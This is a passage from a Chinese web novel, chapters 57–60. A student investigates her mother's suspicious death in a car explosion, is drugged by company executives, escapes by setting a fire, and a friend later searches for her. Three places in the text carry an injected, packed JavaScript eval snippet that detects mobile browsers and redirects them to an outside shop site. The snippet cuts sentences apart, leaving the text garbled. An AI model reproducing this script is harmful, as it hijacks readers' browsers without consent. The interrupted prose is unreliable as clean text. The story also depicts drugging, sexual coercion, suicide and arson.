云安洛并不想继续听这个老师说些没有道理的话,也明白了她问不出什么所以然,“老师,那我麻烦您让我查一下卷纸,至少我想知道我错在哪里了也是可以的吧?” 其实云安洛先问了班级的助导学姐,学姐说可能是上错了分,可以去问问老师,学姐还说,她有一次分数很不理想,但是老师给她看了卷纸,确实是捞无可捞。 那无论是为什么,无论结果是什么,云安洛总想知道自己错在哪里,至少要给自己这半年的时间一个答案。 “卷纸都移交去教务处了,你去那里找吧。”老师并没有直接给云安洛看卷纸的想法,而是把她支去了别处。 出于教养,云安洛还是说了谢谢才转身离去。 许是马上下班的时间,因为云安洛的出现,让这些人都没了耐心。 她去了教务处,教务处的老师很不耐烦的告诉她说查卷的事情归学工办管理。 她又去了学工办,学工办的老师张嘴就用方言说了一句乔洛听不懂的话,语速很快,很刺耳。他们说成绩公布后查分只能去学生考试中心走流程。 她又去了学生考试中心,那一套流程的等待时间竟然是四周,并且只能告诉她每道大题的得分。 她想起了那深居副院长高位的班主任。班主任却告诉她只能走流程。 最后,五十九分的成绩岿然不动地屹立在云安洛的成绩单上,断了她所有的念想。 因为转专业的截止时间仅仅是期末考试后的一周。 因为在这学校里没有人愿意去拉她一把。 因为她只是众多学生中最普通的一个。 其实查不查也没什么区别,走到这一步了,挂科,是她没办法改变的现实。 那大概是成人世界教给她的第一堂课,就算等到了学生考试中心的流程出结果,转入转出的申请时间也早已截止,原来人可以这样渺小,原来不是所有事情都可以有一个结果。 云安洛感觉她好累。 跑了大半个学校,上山下坡确实很累。 更累的是心里,她很努力地学了这么久,换来的是一个不明所以的五十九分。 没有人理她的无助,没有人在乎这样一个没权没势的学生的利益,也没有人愿意去施舍给她一份公平。 云安洛那个晚上自己在学校里走了好久,走遍了学校每一个角落。为什么感觉所有地方都阴森森的,没有一点温度。 她爬上经管楼的顶层,站在天台上吹风。 曾经上来过一次,感觉这里好高,高的可怕。现在竟然没有任何感觉,九层楼的高度,不过如此。 总不会跳下去,摔成肉饼,脑浆崩裂,丑死了。 主要是于现状来讲,不会有任何改变。 飞机还是照常起落,夜晚猫咪们依旧跑得飞快,明天的考试,亦不会有任何不同。 罢了,转不走就读下去吧,不然又不能真的退学,这一年的高考报名时间都过去好久了。 云安洛的成绩最后是专业第二十名,在她挂了科的情况下。但是她挂了科,自然没有了转专业的资格,机会顺移给了后面的同学。 很多事情可能永远不会有结果,就比如,云安洛永远不太知道她到底哪里做错了。 “妈妈,我学不会了怎么办,我感觉毕业证好难拿到啊……”云安洛回家见到云锦书的一瞬间再也止不住泪,这半年好难。 “要是真读不下去,就回来,也不是说不读大学就活不下去了,怎么都能找到工作,实在不行妈养你。” “那我再试试,要是真读不下去我要啃老了。” “好。”云锦书把云安洛搂在怀里,轻轻捋着她的头发。 还是新柳好啊,春夏秋冬四季分明。 如今街上都盖着白雪,走起路来会因为鞋底的摩擦发出嘎吱嘎吱的声音,云安洛感觉,这才是冬天该有的样子。 殊不知,大雪纷飞,罪恶将至。 57. 爆炸 年三十夜,街市上偶尔有几辆车驶过,路口处零散的有几家还在叫卖的商贩,街边的路灯都挂上了灯笼,红彤彤的好不喜庆。 三十夜,云安洛一向是和云锦书一起去姥姥家过,从她八岁起,便是如此。 云安洛前些天新买了一台ccd,正红色的,很鲜艳,小姑娘满心欢喜的拿着相机在车上录街景。 “妈妈我想吃糖雪球!”云安洛看到了路边的糖葫芦车,心动不已。 “这里不能停车,我把车停对面你下去买吧!” “好啊,你和舅舅还吃山楂的呗?然后给姥姥和大姨买两串扁的。” “行,去吧,过马路注意安全。” “好嘞!” 那台ccd被云安洛随手放在后座,表示录制的红色小灯亮被掩盖在灯笼下。 云安洛先接过糖雪球,扎起一颗冬枣咬了一大口,然后站在糖葫芦摊前,看着老板把一串一串的糖葫芦裹上糯米纸,装进袋子。 “谢谢叔……” 云安洛话音未落,身后传来了一声极其刺耳的,轰鸣声。 燃烧、爆炸接踵而至,她还未来得及转过身去。 街上行人本就不多,更没有人愿意在意外起火爆炸的车辆旁停留。 云安洛只看到一团燃绕的烈火和浓烈的黑烟,好像还有车体的碎片。 她脑子瞬间停滞,本能地向那团烈火飞奔而去,却被卖糖葫芦的叔叔拽住,眼睁睁看着那一团火光越来越小,只剩一个黑黑的躯壳。 她被带去了公安局。 由于车辆底部未燃灭的烟头点燃了地面上卡了壳的二踢脚,造成车辆燃烧进一步导致爆炸。 这是场意外。 由于没有监控拍到烟头和鞭炮归属于谁,这只能是场意外。 事故认定书上好像是这样写的。 他们让云安洛签字。 云安洛不知道她现在应该是什么表现。 她心跳非常快,手在抖,说话的声音在抖,但是她哭不出来。 “那是一个死角,街道的监控没有拍下来,路边的商铺没有监控,行车记录仪彻底损坏,所以,什么都找不到吗?” “痕检组已经在现场检查过,云女士我知道你很难过,很难接受,但是确实我们只能这样结案,并且有三家商铺受损,其中两家损失严重,需要赔偿。”一个警.察站在云安洛眼前,话语中听不出任何情绪:“你现在应该做的是去核实云女士生前购买的保险,做好善后工作。” “我来赔商家的钱?”云安洛感觉很可笑,“我妈妈不明不白的死了,我连原因都不知道你告诉我我还需要负责?” “我理解你,但因为没有监控记录,所以并不能排除云女士自己抽烟后烟头……”警.察想拍一拍云安洛,但是被她躲开了。 “你理解个屁,我妈从来就不抽烟,我家车上连个火都没有!” “我们自然已经检查过了,但只能找到烟头,无法确认烟头是谁的。” “效率真高。” “这是责任认定书,你签不签字都已经生效,孩子,签了吧。” “既然我签不签没区别,那要我签字做什么。” 最后,云安洛也没有签字。 结局也没有改变。 毕竟,已经认定了。 云安洛记不清那几天是怎么过的,很混乱。 杨可期在她家里陪了她很久,后来她看起来好像什么事都没有了,就像什么都没经历过一样。 或许是事发得太突然,她的大脑里并没有适应云锦书已经不在了这件事。 直到很多天后的一个早晨,云安洛迷迷糊糊间醒来,向身边习惯性一扑,却什么都没有。 明明还有一床被子。 明明还有一个枕头的。 妈妈有事出门了,那就在这里再睡一会吧。 云安洛有些分不清梦境和现实,好像这就是一个很平常的早上,云锦书早早起了床,去早市买菜、在厨房做饭,也可能是睡不着了起来看综艺绣十字绣…… 可是不对啊。 云安洛枕在云锦书的枕头上,抱着再也不会有人睡的被子,不知不觉间泪浸湿了大片的枕巾。 妈妈真的不回来再睡一会吗? 可是妈妈再也回不来了…… 南方开学很早,还没到正月十五,云安洛和杨可期就已经回到了谭棠。 开学的补考云安洛通过了,也算万幸,没有重修。 云安洛每天在寝室和教室之间两点一线,除了上课以外什么活动也都不想参加,她不想读研也不想评优评奖,大概毕业之后回家里租个铺子开店吧。 她不信当初那个路口没有一辆车有行车记录仪,没有一家商铺的监控正巧可以拍到现场,总有一天,会查到些什么。 她偶尔还会去蹭一蹭建筑学的课,上次碰到了他们院查课,点到一个人,就下课出门,最后教室里只剩下了云安洛,很尴尬。 她渐渐也接受了云锦书已经离开了的现实,她从不信来生,虽没有精神寄托,但是时间可能真的会冲淡伤痛。 她好像没有再想起来丁似霰,好吧,也有偶尔想到他。 一切都很平静,日子慢慢向前过着。 大二的冬天,云安洛十八岁生日,遇见了一只玩偶熊。 它在云安洛上课的必经之路上发了半天传单,却在云安洛下课时,送给她一束绣球花。 云安洛的十八岁,每天不化妆不打扮,穿着宽松的衣裤,戴着大黑口罩,头发很随意的用一根木质簪子挽起来,远远看去,倒像个修道的人。 想来,那一些的起源,应该是大三上学期。 大三上学期的时候外语院和商学院有一场篮球赛,商学院要求每班出三个女生去当拉拉队,很不幸,云安洛被抽到了。 拉拉队要穿统一的服装,露腰短款上衣加上小短裙。 那是十二月份了,谭棠虽说是南方,十二月也只有个位数的温度。这地方没有暖气,无论在哪里都一样冷,更何况只穿这么点衣服。 篮球赛是在体育馆里进行,那天下午是个难得的晴天,所以最开始的时候还好,并不是很冷。 也就是说,在最开始,云安洛露出来的皮肤,都十分白皙。 她在南方……至少不算矮,或者说在人堆里算比较高的女孩了,近几年来各种事情堆积在一起,导致她身体和精神都不算太好,不大爱吃饭也就瘦了很多,露出来的那一节腰,很细。她是标准的沙漏型身材,且比例很好,一双腿匀称修长。再配上她一直很淡漠的时候神情,以及锦上添花的面容,总得来说,会有些让人想要多看几眼。 篮球赛进行到一半左右,外面突然下起了雨,气温骤降。 渐渐的,云安洛感觉她的手已经有些不听使唤地哆嗦。这鬼地方太冷了,到底是什么天才想出来的拉拉队啊! 结束的时候,她看了一下手机的实时温度——好家伙,零下二度,穿着露腰短裙在这当了俩点吉祥物,天才。 那次比赛之后云安洛甚至在学校的表白墙上看到过自己。 其实云安洛也没有想到,大概就是这次的耀眼,换了下一次的灾难。 这学期快结束的时候,班主任找了云安洛,和她说假期的时候有一个实习机会。 “条件呢?”云安洛相信,没有免费的午餐,她也问得很直白。 商学院要求毕业的时候有一次及以上实习记录,单次超过四周,才能给毕业证,这种送上门的实习,其实,很诱人。 云安洛悄悄打开了手机录音,免费的午餐,总该有条件。 “院里会给成绩好的安排实习的机会,优先帮助省外的同学。你这两年除了一次挂科以外,成绩都还不错,没什么条件,都是按照排名给的实习机会。”听起来倒是合理。 “老师,我考虑一下吧,这个是什么时候去哪实习?” “寒假的时候,就在谭棠,祈利那个建材公司,”他很积极地介绍着,“时间不长,实习期就一个月,这可是很好的企业,有实习机会很难得的。” 云安洛应了下来。 倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908949|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是有多想去实习。 云锦书的那场事故遗物中,有那台ccd。 警察和消防到现场的速度非常慢,慢到云安洛先他们一步挣脱开善意的桎梏冲进火海。 她有见到云锦书最后一面。 却也已经气息全无,难以辨认面孔。 很巧,那台ccd竟然还在。 云安洛记得她没有结束录制。 她甚至不清楚自己是怎么把ccd藏进背包里。只是回到家后,云安洛发现ccd虽然已经损毁,但是那张sd卡还没有来得及燃烧。 唯一幸运的是,那段录像还在,虽然画面一片漆黑,只能当做一段杂音很大的音频。 在很长一段时间的静默后,云安洛清晰地听见了一句“云老师救我”。 云安洛一向对声音很敏感,这个女孩的声音她听过,是云锦书班的一个……混混,好像是姓袁。但很遗憾,这个女孩子父母都已经不在了,她寄养在姑姑家,在事故发生的前一天就留下一张“姑,我去南菀闯闯,不用找我。”的字条离开了,再无音讯。 一个无父无母没有家的女孩,就算没了音讯,也不会有人寻找她。 随后就是车门打开的声音,以及听不清的嘈杂对话。 再次听到清晰的声音。 是南菀方言! 云安洛听不懂那些人说的是什么,但她能知道,这绝对不是一场意外。 就在那场强制拉拉队出席的比赛中,云安洛听到了那个说着南菀方言的声音。 云安洛并不敢问任何人那段录音说的是什么,她甚至没有和任何人说过这段录像。她只能努力的学习南菀方言,却发现这里十里不同音,哪怕是不同的区都有异样的方言。 那几句话说的大概是:多管闲事,直接处理掉算了。 只那几句话,这几年来云安洛听了不知道多少遍。 就在她生无可恋地举着拉花和众人一起走流程的时候,两个穿西装的男人和商学院的副院长说着话从云安洛面前经过。 就是那个声音。 一定是那个声音。 她打听到这两个人是祁利集团的领导,可是怎么去接近一个建材公司,云安洛一筹莫展。 果然天上掉的馅饼,多数都是有毒的。 这么好的机会,哪怕是有毒,也得试一试。 这个公司所有女员工竟然被要求穿高跟鞋和短裙,实习生也一样。 才一周,云安洛的脚就磨破了好几处。 实习生也就是跑跑腿,印印材料,没有什么实质性的事情要做。 但是,云安洛在印材料的时候都会看一看那些文件。 他们的财务,似乎是有问题的。 她,尽她所能的,拍下了一些奇怪的地方。 并且也确定了,祁利确实派人在那年冬天去过新柳,他们想开通北方市场,新柳虽然是县城,却是一个重要的交通枢纽,在那里入手,性价比很高。 只是祁利失败了,新柳的冬天并不会有重大工程开工,那些大的建筑公司都有稳定的合作商,他们无功而返。 最重要的是,云安洛听到的声音,确实是那两个人。 可那场“意外事故”到底是什么,云安洛依旧不知道,并且关于祁利去新柳这件事,没有任何错处。 实习期的倒数第二天,云安洛下班后迅速换上了运动鞋,把高跟鞋塞进柜子里。 这活死人的罪终于快遭完了。 不,还没遭完。 她又被叫去吃晚饭,三个实习生一起,美鸣其曰纪念一下即将结束的实习生活。 这该死的酒桌文化,两个臭男人让几个女孩子喝酒,真够不要脸的。云安洛看着饭桌上劝酒的景象不禁在心中骂街。 但是很快就劝到了她这里。 云安洛用外套盖着腿,短裙坐下来是真的很容易露屁股。 他们称之为祁总的人,直接就拽走了云安洛的外套,一双令人恶心的手覆在云安洛腿上。 云安洛,直接站了起来,“请您自重。” 58. 共燃 “唉!小美女说什么呢,我是怕你太热。”那老男人笑得一脸奸诈。 “多谢,但是我风湿。” “来喝杯酒,就不冷了。”男人的嘴脸很恶心,他拿着酒杯放在云安洛面前。 “抱歉祁总,最近有点着凉了,在吃头孢,不能喝酒。”云安洛真的吃了头孢,在来吃饭之前特意去买的,大不了鱼死网破。 “这样啊,那……” 云安洛只感觉到有人用手巾捂住了自己的口鼻,就再也不知道发生什么了。 她醒过来的时候,发现自己在一个看起来很像情.趣酒店的地方,而她的外套早就不知道去了哪里,内衣虽然还在,但是也暴露在空气中。 该死的,真冷。 嗯?怎么另一个实习的女孩也在?那还有一个人呢?还搞多.人运动? “你醒得真快!”听起来很温柔的声音,是一个长得很漂亮的姑娘。 “大概是因为没喝酒吧,”云安洛感觉她不像坏的……可能是因为她穿着已经被撕毁的衣服,勉强蔽体,“你也是被绑来的?” “不是,他给我钱,我让他睡,很合理。” “合理个屁,什么时候嫖.娼变成合理的了。” “不然能怎么样?都被骗到这里了。” 门外传来了脚步声。 云安洛手里被女孩塞了一个打火机。 “一会,要是没有任何乱子,记得自己去救自己,别让他碰你。”女孩眼神很坚定。 “你要干什么?”云安洛察觉到女孩神态不对。 “我本来就活不了多久了,只是一直在想死得有点作用。” “有病可以治,你别想不开!” “好好活下去,带着那个女孩一起。” 门被打开了。 女孩直接用椅子砸开了玻璃。 窗外的冷风吹进来,吹起了女孩的发丝,和残缺的衣服。 女孩笑着,笑得很凄凉。 她说,她死也要拖着这个恶心的男人一起下地狱。 她说,那些她被强迫与他上.床的录音会和她的死一起蔓延。 男人想去抓她,她却纵身一跃直接跳了下去。 云安洛趁乱打碎了床头的酒瓶,房间中满是酒精的味道。 她点了火。 男人和他的跟班忙着灭火。 一切都来得如此突然,冬夜的寒风从破碎的窗户吹进屋子,使得点点火苗烧起了更多的物件。 淫.乱与罪恶同燃,火光很快便笼罩了整个房间。 云安洛扛起另一个还在睡着的女孩,赤着脚趁乱夺门而出。 她还在出门的时候,把打火机扔进了火海,给熊熊烈焰又添了些声响。 “这怎么走啊!”云安洛在陌生的走廊里面迷了路。 她只能奔着安全通道的指示跑。 但愿,刚刚跳下去的女孩子,会马上被人发现,引来警.察。 但愿,这把火足够大。 啊,这把火很争气,云安洛刚刚找到安全通道,就听到警铃响起。 云安洛背着那个的女孩,跑了二十几层的楼,哪怕是下楼,也很累。 安全通道在二楼的地方被堵住了。 云安洛推开了楼梯间的窗户向下看去,这高度其实她是摔不死的。 但晕着的这位? 什么玩意,她醒了。 “你醒了你不告诉我,累傻子呢!”云安洛立刻放下了那个女孩,“要么从这跳下去,摔出问题我不负责;要么出去赌一把,会遇见谁我不知道,是死是活我也不能保证。” 她给了那个女孩两个选择。 女孩似乎腿已经软了,扶着墙勉强站住,却迟迟未做决定。 窗外,传来了纷乱的声音。 救护车,救火车,警车,还真是齐全。 “算了,你爱怎样怎样,我没让你在屋里烧成柴火棍就已经尽力了,”云安洛两手一撑爬上了窗台。 就在她正准备跳下去的时候,那女孩开了口,“我从这里跟你跳出去!” “……”云安洛一条腿已经迈出窗户:“那就上来!” 女孩站在窗户边,却迟迟不敢向下蹦。 云安洛叹了口气,算了,好人做到底吧,“我抓着这个边缘,你拽着我腿,然后蹦下去,你快点蹦,别给我拽脱臼了,而且我也没多少劲了我撑不了多久。” “好!”女孩不住的点头,尽可能的快些完成云安洛所说的动作。 大楼外,云安洛呼吸到的第一口空气,混合着硝烟和血的味道。 她这才看到,腕间的那只镯子似乎是在刚刚撞到了哪里。 碎掉了。 她最终,只寻到了两块碎片。 这已经是她第二次进公安局了。 只不过换了个身份,变成了受害人。 “我被领导叫去陪着吃饭,他们让我喝酒,我说我吃了头孢,之后有人捂我嘴,就晕了,”云安洛和警察讲着刚刚的经历,“醒过来就在那个屋里,没多久那个男的就进来了,跳楼的那个姐姐,在那几个人进屋子的时候把窗户砸开了,就跳了。” 她没说打火机的事情,也没说那个姐姐所说的……证据。 炸都炸了,谁知道怎么起的火,一群酒鬼还抽烟,烧到哪里都正常。 至于证据,她总感觉,不会这么顺利。 她声音还是颤抖的,看起来很可怜。 但是云安洛莫名其妙有一些兴奋。 她很期待这件事的结果,会有结果吗? 那个女孩说她什么都不知道,醒过来的时候就在楼道里了。 好一个什么都不知道,但云安洛也不清楚她是什么时候醒的,也不知道她到底看到了多少。 后来,云安洛坐在公安局的走廊里面,身上披着一个警察姐姐给她的衣服。 果然没有暖气的鬼地方,冬天冷得要死。 好无聊,手机早就不知道去哪里了,连推箱子都玩不成。 “你是,乔洛?”一个警官走到云安洛面前。 云安洛停止了发呆,抬起头,好眼熟的一张脸。 “我,孟杰礼。” 啊,是很多年前云锦书的课代表。 那时候云安洛还在上小学,云锦书有晚自习的时候只好把她带去学校,然后安排在最后一排的角落里。 一般云安洛都是自娱自乐,看看连环画或者拿彩笔随便画些什么消磨时间。 她对这个男生有印象,不过他初中的时候看起来矮矮的,什么时候长这么高了? “你,你好。”云安洛也不知道该说些什么。 “我刚才看到你叫云安洛?改名字了?” “嗯。” “回哪里,我送你吧,很晚了不安全。” “不知道,”云安洛又低下头,“白天也不见得就安全。” “嗯?不是在实习吗,住哪里我送你回去。” “你猜,出了这种事,我还敢不敢回那个公司给安排的宿舍?”云安洛此时,整个人都充满了攻击性,对所有人。 很难没有攻击性,其实她至今为止也没有反应过来自己到底为什么会被卷进这些事情里。 孟杰礼坐到椅子上,和云安洛隔着一个空位,“那我带你去开个旅店或者送你回学校吧?” “这是结案了?这么着急把我送走。” “嗯,意外失火,人员没有伤亡,结案很快的。” “跳楼死的那个不算人吗?” “自杀,而且她先跳楼的,和火灾没关系,算另一个案子了。” 云安洛一直能听到隔壁屋子里有哭声传出来,屋子里的夫妇大概是跳楼的女孩的父母吧? 真的很可笑,受害者以命相搏,换一线生机,作恶者安然无恙,高坐明堂。 “那就麻烦学长带我去找个旅店了,”云安洛站起身,看着女孩的父母,“我想和他们道声谢可以吗?” “自杀结案,意外起火,两件事你都没什么可道谢的,走吧。”孟杰礼摇了摇头,“什么都别做。” “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那时候的云安洛太小了,只有一些模糊的记忆。 “你也感觉不对劲是吧?”云安洛看着孟杰礼,“像今天的事情一样不对劲。” “今天你也没说实话吧?” “我说的,都是实话。”确实,云安洛只是没有把话说全,但是说的都是实话,“我可不敢在警察面前撒谎。” 孟杰礼把车熄了火,两手搭在方向盘上,仰着头,闭着眼睛,“我毕业后就在南菀工作,最近是来谭棠这边交流,这两个地方看起来很繁华,但是暗地里没光的事情很多,祈利这个公司是做建材生意的,主公司就在南菀,谭棠这里只是个分部,今天那个是他们公司二把手,也就是他们老总的弟弟。” “不是第一次了吧,但是每次都不会有结果。” “也不多,毕竟权和钱捂住了一大半的嘴。” “年三十,我跟我妈吃完年夜饭出门,我去买糖葫芦,我妈在路边停着车等我,车就被烟头和炮仗点燃然后爆炸了。 所有监控都找不到,现在我也不知道到底是怎么回事,”云安洛第一次提起这件事,但也没有说那段录像,她没有那么信任孟杰礼,“警察跟我说不能排除是我妈抽烟之后乱扔烟头给自己炸了,我这辈子就没见过我妈抽烟。 祁利的人那年去过新柳,我能确定这事和他们有关。” “怎么确定的?” “那你别管。”云安洛拒绝回答。 “好,警惕点也是好事,等以后你信我了再说也不迟。但是祁利的水很深,小洛,你最好先装作什么都不知道。” 小姑娘看着眼前人坚定又清澈的眼神,还是忍不住多说了些话:“人早晚是会死的,我能接受,但我妈不该是这个死法。她对得起每一个学生,考高中的,辍学的,就连班里那些最调皮捣蛋的她都从来没有区别对待过……最后,最后变成了莫名其妙的爆炸,还要说可能是我妈乱扔烟头自焚,这简直就是放屁! 不该是这样的,真的不该是这样……” “我知道,”孟杰礼此时此刻,眼神更加坚定:“我一定,尽我最大的努力,还云老师一个真相。” 59. 蚍蜉 意料之中,跳楼的那姑娘所说的证据,石沉大海。 云安洛真正意识到了她在这些权势面前的渺小和无力,她所发现的那些财务的异常显得更加微不足道。 原来苍蝇真的不叮无缝的蛋,因为遇见了完好无损的蛋壳,它们会在周围盘旋,然后把其撞碎去叮咬。 或许她如今在这些事情里,只是一只蚍蜉。 孟杰礼让她装作什么都不知道的样子,留着命在才能有机会掀翻这一切。 临近年关,云安洛回到了新柳。 姥姥身体不太好了,大姨家有了孙女,舅舅自己都隔三差五住院,而且他们退休后都去了自己家孩子在的城市,早已离开新柳。 他们在商量找人照顾。 云安洛如今对谭棠,只有恶心,她很难再心平气和地留在商学院继续上课,下学期还有一门必修课是副院长教。 她办了休学。 很久很久,云安洛都没有再和杨可期有联系,而杨可期这学期也很忙,十二门考试还有去医院跟着老师见习,自己都忙得脚打后脑勺。 况且,云安洛没有告诉她在祁利发生的事情。 她在新柳,一直陪在姥姥身旁,每天都过着重复的生活。 睁眼,做饭,吃饭,陪姥姥去公园,聊天,睡觉,上厕所。 老太太身体差了,有时需要打吊瓶,又不喜欢去医院。 起初是请医生来家里扎针,慢慢的她学会了,自己动手给姥姥扎针。 老人家血管细,不是很好入针,她却基本没有失过手。 或许当初去和杨可期学医也不错,反正杨可期学针灸的也是拿针。 半年后。 老太太在她信仰的佛经的诵读声中离开了,很安详,没遭什么罪。 甚至,按照某些说法,八十多岁平静的离去,算喜丧,老太太去另一个世界享福去了。 灵堂里哭着的人们,云安洛看不懂他们。 若是真的有感情,当初都各有各的事情,不愿来照顾就算了,为什么也很少来看一看。 这就是当年丁似霰所说的久病床前无孝子吗? 可若是真的薄情,怎么一个个现在都哭的昏天黑地。 反倒是她,一滴泪也挤不出来。 云安洛甚至没有等到老太太下葬,就坐上了去谭棠的飞机。 火化,下葬,都有舅舅操办,云安洛的去留好像没人在乎。 她现在,真的没有牵挂了。 有些账,应该清算一下。 孟杰礼让她等,让她相信警察。但事实是过了这么久,没有任何进展。 云安洛在飞机上的时候,一直通过窗口,看着外面的天。 那班飞机可以看见落日。 金黄色的云彩和四射的光芒一起渐渐黯淡。 就像是她这短暂的人生,和早已看不见踪影的梦想,渐渐被黑夜吞噬。 那时是九月中旬,谭棠还是一如既往的闷热、潮湿。 飞机落地后,云安洛迎来的除了热得让人烦躁的空气,还有杨可期的消息。 她不知道从哪里得到的云安洛姥姥去世了的消息,想着安慰云安洛,打电话却打不通,只好发了很多条微信。 云安洛草草看了一遍,目光落在最后一条上。 ——我这就请假,你在新柳等我。 云安洛想了一下,还是回了一条。 ——不用,我在谭棠。 手机那端的女孩,看到消息后立刻打车去了车站,去谭棠。 三个小时后。 杨可期在谭棠大学后山的凉亭里找到了云安洛。 那里海拔很高,可以依稀看见整个谭棠大学,但毕竟太过于偏僻,很少有人来往。 除了操场外,云安洛曾经也很喜欢坐在这里,静静地,看着不远处的地面人来车往。 她们一起来过这个地方,杨可期的直觉告诉她,云安洛还在这里。 “洛洛,你……怎么回谭棠了?”杨可期走过去,坐在了云安洛身旁。 云安洛现在,看起来像个没有任何情绪的活死人,目光呆呆的,不知到底有没有聚焦。 “我回来上学。”云安洛没有看她,依旧出神望着远处。 如果不是回了话,杨可期甚至猜不透云安洛有没有在听她说话。 “你……”杨可期想说一些安慰的话,却说不出口。云安洛现在的样子,让她不知道该怎么开口。 云安洛或许是眼睛有些酸了,她缓慢眨了眨眼,转过头看着杨可期,“所有人,是死是活,我根本不在乎。” 这时她明显在直视杨可期的眼睛,脸上甚至带着淡淡的微笑,却让杨可期感觉到了很浓郁的冷意。 这双眼睛她很熟悉,喜怒哀乐都熟悉,却唯独没有见过这种空洞的样子。 “洛洛,我知道你很难受,我,我就是想陪陪你……” “杨可期,你不知道,其实你很吵。一直回复你的话,让我感觉很烦。” 杨可期没有继续说话,她不懂,云安洛想说些什么。 云安洛依旧看着她,继续用她那好听又冰冷的声音说着,“从认识你开始,你就很吵,很多时候,我都不想应付你的……” 杨可期听不下去了,打断了她,“你想说什么?” “杨可期。” 云安洛习惯性叫人都叫全名,还是在杨可期几次三番的申请下,对她的称呼才有意识地从杨可期变成了可期。但是以前,她叫杨可期全名的时候,也不是如今的口吻。 现在,杨可期这三个字从她嘴里说出来,就好像是一个她按着性子敷衍了很久的人,疏离又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当然,可期,我还是和你更好一些。 所以如果我真的死了,我的所有财产,无论是商铺还是那些首饰金银,三分之二留给你,剩下的麻烦你帮我送到丁似霰手上。 对不起,以这种方式告别。 可这条河太深了,我不想你因为我卷进来,不值得。 可期,我从来没有讨厌过你,只是我孤身一人可以完全不计后果肆意妄为,如果真的有什么意外,就让我做一次独行侠吧。 谢谢你,愿意做我的朋友。 对不起。】 60. 新生 大四了,时间过得真的很快。 丁似霰自己沿着湖边散步,看着,这个生活了将近四年的地方。 其实这就是一个人工湖,味道也不太好闻,总是有股腥臭味,湖边偶尔有几个钓鱼佬在等待着鱼儿上钩,但是倒也算个僻静之地。 他会留在南菀,暑假去了洋筑建筑公司实习,幸运的话,秋招或许可以直接进这个公司。 他确实很想回新柳,但是南菀,有余美兰。 还有很多没有了结的事情。 今天早八的时候,丁似霰总是感觉背后似乎有人在看着他。但他回过头去,也什么都没发现。 他甚至还装作上厕所,从后门溜了出去,一路上依旧没看出来有什么不对。 只有那么一个带着黑色鸭舌帽的女孩,从身形和睡觉的姿势以及手的形状来看……很像云安洛。但她散着头发,整张脸扣在桌子上,两个手腕光溜溜露着,什么也没有戴,属实是也看不出来到底是谁。 丁似霰看着湖里那两只因为太嫌弃湖水而逃上岸,互相给对方梳毛的黑天鹅,有些自嘲地摇了摇头。 怎么可能会是洛洛,她休了学回家,如今应该还在新柳。 丁似霰突然想起了当初乔洛的话,喃喃自语,“不会真发烧把自己烧出幻觉了吧……” 他身后不远处,跟着两个鬼鬼祟祟的男人。 他们看准了丁似霰在水边愣神的时机,从后面冲上前。 把丁似霰掀进了湖中。 一切发生的这么快,丁似霰慌乱中,只抓下了一个人的手链……又或许是女朋友给的头绳? 他感冒了,还有点发烧,本来头就晕乎乎的,早八那个课老师不认请假条,他只能出来上课,一个早上过去头更疼了。 如今出来也是班级非要现在开班会,说是考研就业动员会,还不允许请假。 丁似霰扑腾了几下就没了力气,这种时候,就算会游泳似乎也没什么用处。 湖水很快包裹住了他。 他感觉自己逐渐沉了下去,湖边路灯照出的光亮慢慢消失。 终于,要结束了吗? 真的,要结束了吗? 再次醒过来…… 竟然醒过来了!? 丁似霰发现自己在医院的病房里而不是在什么死后会去到的天堂或是地狱,倒是有些震惊。 这都没死,命真硬。 他只是迷迷糊糊睁开了眼,便又昏昏沉沉睡了去。 在这期间,可能是医生来看过了吧?反正他再醒过来的时候,是被一个老伯喊醒的。 “小伙子!你怎么样了啊?有个女孩子要找你啊,很着急的,醒醒?” 他好像听到很多声呼喊。 丁似霰睁开眼,迷惑的看向一旁,这手机竟然没在水里泡坏? 但是在他听到电话那端说什么之后,瞬间清醒。 杨可期的电话,她找不到云安洛了,而且她总是感觉云安洛不太对劲。 这个不对劲,大概是想用她自己的命去换些什么。 丁似霰告诉杨可期,他立刻就去谭棠大学找人,话语间伴随着剧烈的咳嗽声。那湖里的水太脏,他又呛了很多口,肺部感染了。 丁似霰动作之快,以至于身旁的老伯都没有来得及阻止他拔掉手背上的针。 “小伙子你这是要干什么?医生说你现在不能剧烈运动的!” “谢谢叔……咳咳……但我有急事,需要立刻去谭棠!” 丁似霰穿着病号服,老伯在后面拿着外套以及丁似霰的钱包追着他,两个人都进到了电梯间。 “把衣服穿上啦,你有什么要紧事比你身体还重要?” 丁似霰接过外套和钱包,“谢谢叔。” “这么晚了你怎么去谭棠?” “我……我先去车站吧,那里有直通谭棠机场的车。” “算了,我好人做到底,送你去高铁站吧!” 丁似霰上了老伯的车,他一直在尝试拨打云安洛的电话,却一直是关机状态。 他才注意到,这老伯大概是经常在学校钓鱼,他好像见过。 “叔,是你把我捞上来的吗?谢谢!” “你是土木院的学生吧?” “啊?是。” “小伙子这是去谭大见女朋友?” “不……不是,我朋友突然谁也联系不上她了,我……怕她出事。” 丁似霰下车前,还不忘和老伯留了电话和学号,说老伯垫付的医药费他回来就去还。 老伯只说了让他找朋友也要注意点自己的身体,就关上车窗扬长而去了。 